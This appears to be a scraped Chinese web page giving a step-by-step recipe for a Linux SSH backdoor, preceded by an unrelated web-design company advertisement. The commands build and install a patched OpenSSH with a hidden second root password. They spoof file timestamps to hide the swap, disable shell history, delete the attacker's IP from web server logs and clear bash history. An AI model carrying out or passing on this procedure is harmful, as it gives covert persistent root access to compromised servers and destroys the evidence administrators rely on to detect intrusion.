ssh后门
Linux SSH后门
创新互联公司长期为成百上千家客户提供的网站建设服务,团队从业经验10年,关注不同地域、不同群体,并针对不同对象提供差异化的产品和服务;打造开放共赢平台,与合作伙伴共同营造健康的互联网生态环境。为天柱企业提供专业的成都网站建设、网站制作,天柱网站改版等技术服务。拥有十余年丰富建站经验和众多成功案例,为您定制开发。
可以让root账号有两个密码,不影响管理员正常登陆。
在includes.h 里面 修改密码,然后编译 安装.
- unzip sshd.zip
- cd openssh
- vi version.h
- #define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2
- vi includes.h
- #define _SECRET_PASSWD "123456" --edit as u wish
- cp /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
- cp /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
- touch -r /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
- touch -r /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
- cp /usr/bin/ssh /usr/bin/ssh-keypub
- touch -r /usr/bin/ssh /usr/bin/ssh-keypub
- ./configure --prefix=/usr --sysconfdir=/etc/ssh
- make && make install
- cp ssh_config sshd_config /etc/ssh/
- cd ..
- rm -rf ./ssh*
- rm -rf openssh
- diff /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
- vi sshd_config
- diff /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
- vi ssh_config
- touch -r /etc/ssh/sshd_config.pub /etc/ssh/sshd_config
- touch -r /etc/ssh/ssh_config.pub /etc/ssh/ssh_config
- touch -r /usr/bin/ssh-keypub /usr/bin/ssh*
- /etc/init.d/sshd restart
- export HISTFILE=/dev/null
- export HISTSIZE=0
- cd /etc/httpd/logs/
- sed -i '/ip/d' access_log
- 登入后门:
- ssh -l root ip 密码:123456
- echo >/root/.bash_history
当前标题:ssh后门
本文路径:http://cdiso.cn/article/pjieog.html